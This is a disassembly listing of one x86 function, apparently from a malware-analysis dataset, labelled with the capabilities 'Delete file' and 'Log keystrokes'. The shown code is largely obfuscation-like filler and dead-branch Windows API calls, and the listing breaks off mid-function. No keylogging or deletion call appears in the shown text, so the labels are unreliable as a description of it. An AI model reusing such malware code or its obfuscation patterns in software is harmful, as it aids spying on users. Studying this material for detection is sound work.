Function at 0x100088a9
Capabilities:
Delete file
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007af86
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x1234
call fcn.10076fc0
push esi
push edi
push 4
lea ecx, [ebp - 0xfb8]
call fcn.10018ca8
and dword [ebp - 4], 0
mov dword [ebp - 0x1a8], 0xfffffff8
push 3
lea ecx, [ebp - 0xd98]
call fcn.10018ca8
mov byte [ebp - 4], 1
push 4
lea ecx, [ebp - 0xfa8]
call fcn.10018ca8
mov byte [ebp - 4], 2
mov dword [ebp - 0x4e8], 0x3b8cff26
mov dword [ebp - 0xec8], 0xdaffa898
mov dword [ebp - 0x24], 0
jmp 0x1000892e
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1000894a
push dword [ebp - 0x24]
lea ecx, [ebp - 0xfb8]
call fcn.10018d32
mov dword [eax], 0xbbca
jmp 0x10008927
mov dword [ebp - 0x24], 0
jmp 0x1000895a
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x10008976
push dword [ebp - 0x24]
lea ecx, [ebp - 0xd98]
call fcn.10018d32
mov dword [eax], 1
jmp 0x10008953
mov dword [ebp - 0x24], 0
jmp 0x10008986
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1000899f
push dword [ebp - 0x24]
lea ecx, [ebp - 0xfa8]
call fcn.10018d32
and dword [eax], 0
jmp 0x1000897f
mov dword [ebp - 0x1a8], 3
jmp 0x100089b8
mov eax, dword [ebp - 0x1a8]
dec eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0
jl 0x10008a0f
mov dword [ebp - 0x107c], 0xfffffffe
mov dword [ebp - 0x2c4], 0
jmp 0x100089e4
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 2
jge 0x10008a00
mov eax, dword [ebp - 0x2c4]
mov dword [ebp + eax*4 - 0x1210], 0xffffffff
jmp 0x100089d7
mov eax, dword [ebp - 0x4e8]
dec eax
mov dword [ebp - 0x4e8], eax
jmp 0x100089ab
mov dword [ebp - 0x1a8], 0
mov esi, dword [ebp - 0x1a8]
push 2
lea ecx, [ebp - 0xd98]
call fcn.10018d32
mov dword [eax], esi
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xfa8]
call fcn.10018d2d
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xd98]
call fcn.10018d2d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfb8]
call fcn.10018d2d
push 4
lea ecx, [ebp - 0xc6c]
call fcn.10018ca8
mov dword [ebp - 4], 3
mov dword [ebp - 0x200], 0x532fe223
mov dword [ebp - 0xf38], 0x3a23fe5e
mov dword [ebp - 0x1150], 8
mov dword [ebp - 0xf4c], 0xddcd1665
mov dword [ebp - 0x109c], 0
mov dword [ebp - 0xf54], 0xa6edad94
mov dword [ebp - 0x230], 0
jmp 0x10008ac4
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 4
jge 0x10008ae6
push dword [ebp - 0x230]
lea ecx, [ebp - 0xc6c]
call fcn.10018d32
mov dword [eax], 0xb9b5
jmp 0x10008ab7
mov dword [ebp - 0x200], 3
jmp 0x10008aff
mov eax, dword [ebp - 0x200]
dec eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0
jl 0x10008cc7
mov dword [ebp - 0x1190], 0xffffffff
mov dword [ebp - 0xf5c], 1
mov dword [ebp - 0x10ac], 0x9b2b534d
push 3
lea ecx, [ebp - 0xc48]
call fcn.10018ca8
mov byte [ebp - 4], 4
mov dword [ebp - 0x2fc], 0
jmp 0x10008b54
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 3
jge 0x10008b76
push dword [ebp - 0x2fc]
lea ecx, [ebp - 0xc48]
call fcn.10018d32
mov dword [eax], 0xce4b0ad8
jmp 0x10008b47
push dword [ebp - 0x200]
lea ecx, [ebp - 0xc6c]
call fcn.10018d32
cmp dword [eax], 0
je 0x10008c1f
mov dword [ebp - 0x238], 0xfffffffa
mov dword [ebp - 0x238], 0
jmp 0x10008bb3
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 3
jg 0x10008c1d
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x224], 0
jmp 0x10008bdf
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 4
jge 0x10008c01
push dword [ebp - 0x224]
lea ecx, [ebp - 0xc6c]
call fcn.10018d32
mov dword [eax], 1
jmp 0x10008bd2
mov byte [ebp - 0xf8], 0
movzx eax, byte [ebp - 0xf8]
test eax, eax
je 0x10008c1b
push 0
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
jmp 0x10008ba6
jmp 0x10008c8f
mov dword [ebp - 0x33c], 0
jmp 0x10008c38
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 3
jge 0x10008c54
mov eax, dword [ebp - 0x33c]
mov dword [ebp + eax*4 - 0x11b0], 0
jmp 0x10008c2b
mov byte [ebp - 0x10a], 0
movzx eax, byte [ebp - 0x10a]
test eax, eax
je 0x10008c6e
push 0
call dword [sym.imp.USER32.dll_IsRectEmpty]
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x11b0], 0
je 0x10008c8f
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xc48]
call fcn.10018d2d
jmp 0x10008cc7
push 1
lea ecx, [ebp - 0xc48]
call fcn.10018d32
mov dword [ebp - 0x9b4], eax
mov eax, dword [ebp - 0x9b4]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x9b4]
mov dword [ecx], eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xc48]
call fcn.10018d2d
jmp 0x10008af2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc6c]
call fcn.10018d2d
push 4
lea ecx, [ebp - 0xfd8]
call fcn.10018ca8
mov dword [ebp - 4], 5
mov dword [ebp - 0x1bc], 0xfffffff8
push 3
lea ecx, [ebp - 0xdb0]
call fcn.10018ca8
mov byte [ebp - 4], 6
push 4
lea ecx, [ebp - 0xfc8]
call fcn.10018ca8
mov byte [ebp - 4], 7
mov dword [ebp - 0x9bc], 0x3b8cff26
mov dword [ebp - 0xf64], 0xdaffa898
mov dword [ebp - 0x28], 0
jmp 0x10008d3a
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x10008d56
push dword [ebp - 0x28]
lea ecx, [ebp - 0xfd8]
call fcn.10018d32
mov dword [eax], 0xbbca
jmp 0x10008d33
mov dword [ebp - 0x28], 0
jmp 0x10008d66
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x10008d82
push dword [ebp - 0x28]
lea ecx, [ebp - 0xdb0]
call fcn.10018d32
mov dword [eax], 1
jmp 0x10008d5f
mov dword [ebp - 0x28], 0
jmp 0x10008d92
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x10008dab
push dword [ebp - 0x28]
lea ecx, [ebp - 0xfc8]
call fcn.10018d32
and dword [eax], 0
jmp 0x10008d8b
mov dword [ebp - 0x1bc], 3
jmp 0x10008dc4
mov eax, dword [ebp - 0x1bc]
dec eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jl 0x10008e1b
mov dword [ebp - 0x1158], 0xfffffffe
mov dword [ebp - 0x240], 0
jmp 0x10008df0
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 2
jge 0x10008e0c
mov eax, dword [ebp - 0x240]
mov dword [ebp + eax*4 - 0x11e8], 0xffffffff
jmp 0x10008de3
mov eax, dword [ebp - 0x9bc]
dec eax
mov dword [ebp - 0x9bc], eax
jmp 0x10008db7
mov dword [ebp - 0x1bc], 0
mov esi, dword [ebp - 0x1bc]
push 2
lea ecx, [ebp - 0xdb0]
call fcn.10018d32
mov dword [eax], esi
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xfc8]
call fcn.10018d2d
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xdb0]
call fcn.10018d2d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfd8]
call fcn.10018d2d
push 4
lea ecx, [ebp - 0x1028]
call fcn.10018ca8
mov dword [ebp - 4], 8
mov dword [ebp - 0x1d0], 0xfffffff8
mov dword [ebp - 0xd0], 0xffffffff
mov dword [ebp - 0x1e0], 8
mov dword [ebp - 0x1b0], 0xaee5a986
mov dword [ebp - 0x248], 1
push 2
lea ecx, [ebp - 0xdc8]
call fcn.10018ca8
mov byte [ebp - 4], 9
mov dword [ebp - 0x8d0], 0x3e7a3298
mov dword [ebp - 0x2bc], 7
mov dword [ebp - 0x2c0], 0
jmp 0x10008eeb
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 2
jge 0x10008f0a
push dword [ebp - 0x2c0]
lea ecx, [ebp - 0xdc8]
call fcn.10018d32
or dword [eax], 0xffffffff
jmp 0x10008ede
cmp dword [ebp - 0xd0], 0
jne 0x10008f1c
cmp dword [ebp - 0xd0], 0
je 0x10008f31
mov eax, 0x4ddb
test eax, eax
je 0x10008f31
mov dword [ebp - 0x9c4], 1
jmp 0x10008f38
and dword [ebp - 0x9c4], 0
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0xf6c], eax
mov eax, dword [ebp - 0x9c4]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x10bc], eax
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0xf74], eax
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x1180], eax
imul eax, dword [ebp - 0x1b0], 9
test eax, eax
je 0x1000908e
mov dword [ebp - 0x9cc], 0x5d367296
mov dword [ebp - 0x1b0], 0xffffffe9
jmp 0x10008fa6
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 4
jl 0x10009089
mov dword [ebp - 0x9f4], 0xfffffffb
mov dword [ebp - 0xa98], 0
mov dword [ebp - 0x9cc], 0
mov eax, dword [ebp - 0x9cc]
mov dword [ebp - 0xf7c], eax
cmp dword [ebp - 0x9f4], 1
jg 0x10008ff2
mov dword [ebp - 0xa64], 1
jmp 0x10008ff9
and dword [ebp - 0xa64], 0
cmp dword [ebp - 0xd0], 0x3ca3
jne 0x10009011
mov dword [ebp - 0x9d4], 1
jmp 0x10009018
and dword [ebp - 0x9d4], 0
cmp dword [ebp - 0x9d4], 7
je 0x1000902d
mov dword [ebp - 0x9dc], 1
jmp 0x10009034
and dword [ebp - 0x9dc], 0
mov eax, dword [ebp - 0x9dc]
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0xa98], 6
jne 0x10009055
mov dword [ebp - 0x9e4], 1
jmp 0x1000905c
and dword [ebp - 0x9e4], 0
cmp dword [ebp - 0x9e4], 0xfffffffe
jne 0x10009071
mov dword [ebp - 0x9ec], 1
jmp 0x10009078
and dword [ebp - 0x9ec], 0
mov eax, dword [ebp - 0x9ec]
mov dword [ebp - 0x9f4], eax
jmp 0x10008f99
jmp 0x1000941e
push 3
lea ecx, [ebp - 0x3f8]
call fcn.10018ca8
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x3c0], 5
mov dword [ebp - 0xaa0], 0x75314680
mov dword [ebp - 0xaa8], 0xfffffffe
mov dword [ebp - 0x60], 0
jmp 0x100090cd
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 3
jge 0x100090e9
push dword [ebp - 0x60]
lea ecx, [ebp - 0x3f8]
call fcn.10018d32
mov dword [eax], 0x8b01197b
jmp 0x100090c6
mov dword [ebp - 0x60], 0
jmp 0x100090f9
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 3
jge 0x1000910f
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0xfe8], 0xffffffff
jmp 0x100090f2
mov dword [ebp - 0x248], 0
jmp 0x10009128
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 1
jg 0x1000914f
mov byte [ebp - 0xfa], 0
movzx eax, byte [ebp - 0xfa]
test eax, eax
je 0x1000914d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
jmp 0x1000911b
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x10cc], eax
push 1
lea ecx, [ebp - 0x3f8]
call fcn.10018d32
cmp dword [eax], 0
je 0x1000918b
push 1
lea ecx, [ebp - 0x3f8]
call fcn.10018d32
cmp dword [eax], 0
je 0x1000918b
mov dword [ebp - 0x9fc], 1
jmp 0x10009192
and dword [ebp - 0x9fc], 0
push 1
lea ecx, [ebp - 0x3f8]
call fcn.10018d32
mov ecx, dword [ebp - 0x9fc]
add ecx, dword [eax]
cmp ecx, dword [ebp - 0x2bc]
jg 0x100091bb
mov dword [ebp - 0xa04], 1
jmp 0x100091c2
and dword [ebp - 0xa04], 0
mov eax, dword [ebp - 0x1e0]
cmp dword [ebp - 0xa04], eax
jle 0x100091dc
mov dword [ebp - 0xa0c], 1
jmp 0x100091e3
and dword [ebp - 0xa0c], 0
or esi, 0xffffffff
sub esi, dword [ebp - 0xa0c]
push 2
lea ecx, [ebp - 0x3f8]
call fcn.10018d32
imul esi, dword [eax]
cmp esi, 0xad706983
jbe 0x1000921f
push 0
lea ecx, [ebp - 0x3f8]
call fcn.10018d32
cmp dword [eax], 0
jne 0x1000921f
and dword [ebp - 0xa14], 0
jmp 0x10009229
mov dword [ebp - 0xa14], 1
cmp dword [ebp - 0xa14], 9
jne 0x1000923e
mov dword [ebp - 0xa1c], 1
jmp 0x10009245
and dword [ebp - 0xa1c], 0
mov eax, dword [ebp - 0x2bc]
imul eax, dword [ebp - 0xa1c]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xfe8]
jl 0x1000926d
mov dword [ebp - 0xa24], 1
jmp 0x10009274
and dword [ebp - 0xa24], 0
mov eax, dword [ebp - 0xd0]
cmp dword [ebp - 0xa24], eax
jge 0x1000928e
mov dword [ebp - 0x988], 1
jmp 0x10009295
and dword [ebp - 0x988], 0
mov eax, dword [ebp - 0xd0]
imul eax, dword [ebp - 0x988]
test eax, eax
jne 0x100092c1
push 1
lea ecx, [ebp - 0x3f8]
call fcn.10018d32
cmp dword [eax], 0
jne 0x100092c1
and dword [ebp - 0x428], 0
jmp 0x100092cb
mov dword [ebp - 0x428], 1
cmp dword [ebp - 0x428], 0x71f6e690
je 0x100092e3
mov dword [ebp - 0x8c8], 1
jmp 0x100092ea
and dword [ebp - 0x8c8], 0
mov eax, dword [ebp - 0x1b0]
cmp dword [ebp - 0x8c8], eax
jne 0x10009304
mov dword [ebp - 0x430], 1
jmp 0x1000930b
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0x3c0]
cmp dword [ebp - 0x430], eax
jle 0x10009325
mov dword [ebp - 0x438], 1
jmp 0x1000932c
and dword [ebp - 0x438], 0
push 1
lea ecx, [ebp - 0x3f8]
call fcn.10018d32
mov eax, dword [eax]
mov dword [ebp - 0x8d0], eax
mov esi, dword [ebp - 0x8d0]
imul esi, dword [ebp - 0x438]
sub esi, dword [ebp - 0x3c0]
push 1
lea ecx, [ebp - 0x3f8]
call fcn.10018d32
cmp esi, dword [eax]
jne 0x10009371
mov dword [ebp - 0x368], 1
jmp 0x10009378
and dword [ebp - 0x368], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x368]
mov dword [ebp + eax - 0xfe8], ecx
push 0
lea ecx, [ebp - 0xdc8]
call fcn.10018d32
mov eax, dword [eax]
cmp eax, dword [ebp - 0x368]
je 0x100093ae
mov dword [ebp - 0x8d8], 1
jmp 0x100093b5
and dword [ebp - 0x8d8], 0
mov eax, dword [ebp - 0x3c0]
imul eax, dword [ebp - 0x8d8]
imul eax, eax, 0xd870
imul eax, eax, 0xc659
sub eax, dword [ebp - 0x2bc]
cmp eax, 0xfffa
jb 0x100093f0
cmp dword [ebp - 0xaa0], 0
je 0x100093f0
mov dword [ebp - 0x440], 1
jmp 0x100093f7
and dword [ebp - 0x440], 0
mov eax, dword [ebp - 0x440]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0xaa8], eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x3f8]
call fcn.10018d2d
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xdc8]
call fcn.10018d2d
push 3
lea ecx, [ebp - 0xe28]
call fcn.10018ca8
mov byte [ebp - 4], 0xb
push 1
lea ecx, [ebp - 0x41c]
call fcn.10018ca8
mov byte [ebp - 4], 0xc
push 3
lea ecx, [ebp - 0xb78]
call fcn.10018ca8
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x20], 0
jmp 0x10009470
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x10009486
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xde0], 7
jmp 0x10009469
mov dword [ebp - 0x20], 0
jmp 0x10009496
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 1
jge 0x100094b2
push dword [ebp - 0x20]
lea ecx, [ebp - 0x41c]
call fcn.10018d32
mov dword [eax], 0x73838a1f
jmp 0x1000948f
mov dword [ebp - 0x20], 0
jmp 0x100094c2
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x100094de
push dword [ebp - 0x20]
lea ecx, [ebp - 0xb78]
call fcn.10018d32
mov dword [eax], 0x8fecf792
jmp 0x100094bb
push 0
lea ecx, [ebp - 0x41c]
call fcn.10018d32
and dword [eax], 0
jmp 0x10009514
push 0
lea ecx, [ebp - 0x41c]
call fcn.10018d32
mov dword [ebp - 0x8e8], eax
mov eax, dword [ebp - 0x8e8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x8e8]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x41c]
call fcn.10018d32
cmp dword [eax], 2
jg 0x1000977d
mov dword [ebp - 0x250], 0x849f845
push 0
lea ecx, [ebp - 0x41c]
call fcn.10018d32
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0xde0], 0
je 0x10009552
jmp 0x1000977d
push 0
lea ecx, [ebp - 0x41c]
call fcn.10018d32
cmp dword [eax], 0
je 0x10009566
jmp 0x100094f0
mov dword [ebp - 0x250], 2
jmp 0x1000957f
mov eax, dword [ebp - 0x250]
dec eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0
jl 0x10009778
push 3
lea ecx, [ebp - 0xb68]
call fcn.10018ca8
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x2d0], 0
jmp 0x100095b6
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 3
jge 0x100095d8
push dword [ebp - 0x2d0]
lea ecx, [ebp - 0xb68]
call fcn.10018d32
mov dword [eax], 4
jmp 0x100095a9
push 2
lea ecx, [ebp - 0xb68]
call fcn.10018d32
and dword [eax], 0
jmp 0x1000960e
push 2
lea ecx, [ebp - 0xb68]
call fcn.10018d32
mov dword [ebp - 0x448], eax
mov eax, dword [ebp - 0x448]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x448]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0xb68]
call fcn.10018d32
cmp dword [eax], 2
jg 0x10009764
mov dword [ebp - 0x258], 6
mov byte [ebp - 0x13d], 0
movzx eax, byte [ebp - 0x13d]
test eax, eax
je 0x10009660
push 0
push 0x254
push 0xbfa
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
mov dword [ebp - 0x258], 0
jmp 0x10009679
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 2
jg 0x1000975f
push 1
lea ecx, [ebp - 0xb58]
call fcn.10018ca8
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x2d8], 0
jmp 0x100096b0
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 1
jge 0x100096d2
push dword [ebp - 0x2d8]
lea ecx, [ebp - 0xb58]
call fcn.10018d32
mov dword [eax], 9
jmp 0x100096a3
push 0
lea ecx, [ebp - 0xb58]
call fcn.10018d32
mov dword [eax], 2
jmp 0x1000970b
push 0
lea ecx, [ebp - 0xb58]
call fcn.10018d32
mov dword [ebp - 0x8f0], eax
mov eax, dword [ebp - 0x8f0]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x8f0]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xb58]
call fcn.10018d32
cmp dword [eax], 0
jl 0x1000974b
push 0
lea ecx, [ebp - 0x41c]
call fcn.10018d32
mov esi, dword [eax]
push 0
lea ecx, [ebp - 0x41c]
call fcn.10018d32
mov eax, dword [eax]
mov ecx, dword [ebp + esi*4 - 0xde0]
mov dword [ebp + eax*4 - 0xde0], ecx
jmp 0x100096e7
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xb58]
call fcn.10018d2d
jmp 0x1000966c
jmp 0x100095ea
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xb68]
call fcn.10018d2d
jmp 0x10009572
jmp 0x100094f0
push 0
lea ecx, [ebp - 0xb78]
call fcn.10018d32
and dword [eax], 0
jmp 0x100097b3
push 0
lea ecx, [ebp - 0xb78]
call fcn.10018d32
mov dword [ebp - 0x450], eax
mov eax, dword [ebp - 0x450]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x450]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xb78]
call fcn.10018d32
cmp dword [eax], 0
jl 0x10009820
mov dword [ebp - 0x260], 0x657e3b6f
mov dword [ebp - 0x260], 0
jmp 0x100097e8
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0
jg 0x1000981b
mov byte [ebp - 0xfc], 0
movzx eax, byte [ebp - 0xfc]
test eax, eax
je 0x10009819
push 0
push 0
push 0x5a8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemInt]
jmp 0x100097db
jmp 0x1000978f
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0xb78]
call fcn.10018d2d
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x41c]
call fcn.10018d2d
push 4
lea ecx, [ebp - 0x1018]
call fcn.10018ca8
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x920], 0x3b8cff26
mov dword [ebp - 0x1b8], 0xffffffff
mov dword [ebp - 0x1c0], 0xffffffff
mov dword [ebp - 0xab0], 0xa5b7d8cf
push 3
lea ecx, [ebp - 0xe10]
call fcn.10018ca8
mov byte [ebp - 4], 0x11
mov dword [ebp - 0xf84], 0xf08664a1
mov dword [ebp - 0x1160], 8
mov dword [ebp - 0xac8], 0x5d1cb6a7
mov dword [ebp - 0xf8c], 0x5530c4e2
push 3
lea ecx, [ebp - 0xff8]
call fcn.10018ca8
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x68], 0
jmp 0x100098d1
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 3
jge 0x100098ed
push dword [ebp - 0x68]
lea ecx, [ebp - 0xe10]
call fcn.10018d32
mov dword [eax], 0xffff
jmp 0x100098ca
mov dword [ebp - 0x68], 0
jmp 0x100098fd
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 3
jge 0x10009919
push dword [ebp - 0x68]
lea ecx, [ebp - 0xff8]
call fcn.10018d32
mov dword [eax], 0x77cccaea
jmp 0x100098f6
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x10dc], eax
mov eax, 0xfaafe30f
test eax, eax
je 0x1000994f
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0
je 0x1000994f
mov dword [ebp - 0x8f8], 1
jmp 0x10009956
and dword [ebp - 0x8f8], 0
mov eax, dword [ebp - 0x8f8]
mov dword [ebp - 0xab0], eax
cmp dword [ebp - 0x1b8], 1
jg 0x1000997d
cmp dword [ebp - 0x1b8], 0
jne 0x1000997d
and dword [ebp - 0x458], 0
jmp 0x10009987
mov dword [ebp - 0x458], 1
mov eax, dword [ebp - 0x1b8]
cmp dword [ebp - 0x458], eax
jl 0x100099a1
mov dword [ebp - 0x900], 1
jmp 0x100099a8
and dword [ebp - 0x900], 0
mov eax, dword [ebp - 0x900]
neg eax
cmp eax, 0xffffffff
je 0x100099c1
mov dword [ebp - 0x460], 1
jmp 0x100099c8
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x460]
sub eax, dword [ebp - 0x1b8]
jne 0x100099e2
mov dword [ebp - 0x908], 1
jmp 0x100099e9
and dword [ebp - 0x908], 0
push 0
lea ecx, [ebp - 0xe10]
call fcn.10018d32
mov ecx, dword [ebp - 0x908]
mov dword [eax], ecx
mov dword [ebp - 0x1c0], 0
jmp 0x10009a17
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 2
jg 0x10009b35
mov dword [ebp - 0xab8], 0x3ddca272
mov dword [ebp - 0xac0], 1
mov dword [ebp - 0x268], 4
mov dword [ebp - 0xf94], 0xe13f5e3d
push 3
lea ecx, [ebp - 0xdf8]
call fcn.10018ca8
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x468], 0x3bd791f9
mov dword [ebp - 0x2e0], 0
jmp 0x10009a80
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 3
jge 0x10009aa2
push dword [ebp - 0x2e0]
lea ecx, [ebp - 0xdf8]
call fcn.10018d32
mov dword [eax], 0xd64bda99
jmp 0x10009a73
mov eax, dword [ebp - 0x468]
inc eax
mov dword [ebp - 0x468], eax
mov dword [ebp - 0x268], 0
jmp 0x10009ac8
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 2
jg 0x10009b21
mov eax, dword [ebp - 0xab8]
mov dword [ebp - 0x910], eax
push 0
lea ecx, [ebp - 0xdf8]
call fcn.10018d32
mov ecx, dword [ebp - 0x910]
mov dword [eax], ecx
mov eax, dword [ebp - 0xac0]
cmp dword [ebp - 0x910], eax
jl 0x10009b0c
mov dword [ebp - 0x470], 1
jmp 0x10009b13
and dword [ebp - 0x470], 0
mov eax, dword [ebp - 0x470]
mov dword [ebp - 0xac8], eax
jmp 0x10009abb
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xdf8]
call fcn.10018d2d
jmp 0x10009a0a
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0xff8]
call fcn.10018d2d
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xe10]
call fcn.10018d2d
mov dword [ebp - 0x11a0], 0xdaffa898
mov dword [ebp - 0x30], 0
jmp 0x10009b6d
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 4
jge 0x10009b89
push dword [ebp - 0x30]
lea ecx, [ebp - 0x1028]
call fcn.10018d32
mov dword [eax], 0xbbca
jmp 0x10009b66
mov dword [ebp - 0x30], 0
jmp 0x10009b99
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x10009bb5
push dword [ebp - 0x30]
lea ecx, [ebp - 0xe28]
call fcn.10018d32
mov dword [eax], 1
jmp 0x10009b92
mov dword [ebp - 0x30], 0
jmp 0x10009bc5
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 4
jge 0x10009bde
push dword [ebp - 0x30]
lea ecx, [ebp - 0x1018]
call fcn.10018d32
and dword [eax], 0
jmp 0x10009bbe
mov dword [ebp - 0xf9c], 0xffffffff
mov dword [ebp - 0x10ec], 0xebaeef20
mov dword [ebp - 0xfac], 0x45f1dbec
push 2
lea ecx, [ebp - 0x1008]
call fcn.10018ca8
mov byte [ebp - 4], 0x14
push 3
lea ecx, [ebp - 0xdd4]
call fcn.10018ca8
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x14], 0
jmp 0x10009c2e
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10009c4a
push dword [ebp - 0x14]
